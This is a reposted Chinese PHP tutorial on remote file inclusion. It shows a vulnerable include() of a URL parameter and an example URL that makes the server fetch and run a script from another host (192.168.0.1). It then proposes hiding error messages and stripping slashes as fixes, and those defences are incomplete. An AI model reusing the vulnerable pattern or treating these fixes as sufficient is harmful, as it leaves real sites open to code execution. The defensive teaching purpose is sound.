首页 / PHP / PHP网络开发详解之远程文件包含漏洞_PHP

PHP网络开发详解之远程文件包含漏洞_PHP

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了PHP网络开发详解之远程文件包含漏洞_PHP，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含2205字，纯文字阅读大概需要4分钟。

内容图文

以下代码（Code）实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。
代码如下:

$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?> 
 
这时，通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如，通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码（Code）中包含并执行myinc.php文件。 
由于上面的代码（Code）没有进行任何错误处理，在浏览器上不加参数运行，所以将得到以下运行结果。 
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3 
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3 
访问者通过读取这段错误信息，可以得知当前的操作是一个文件包含操作。这时，可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终
输出结果，而不是文件本身。该脚本代码位于192.168.0.1服务器上，文件名为hello.txt，脚本代码（Code）如下所示。
代码如下:

echo "hello world!"; 
?> 
 
这时，通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。 
为了解决这个问题，一种方式是完善代码的错误信息，使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码（Code）如下所示。 
 代码如下:

$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?> 
 
修改后，如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息，访问者将无法获得当前页面的具体操作信息。 
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样，在地址栏参数中输入远程文件地址时，代码将无法正确地获得参数。修改后的代码（Code）如下所示。 
 代码如下:

$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?> 
 
这样，在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时，实际上PHP代码（Code）获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件，并显示相应的错误信息。

内容总结

以上是互联网集市为您收集整理的PHP网络开发详解之远程文件包含漏洞_PHP全部内容，希望文章能够帮你解决PHP网络开发详解之远程文件包含漏洞_PHP所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/249115.html

来源：【匿名】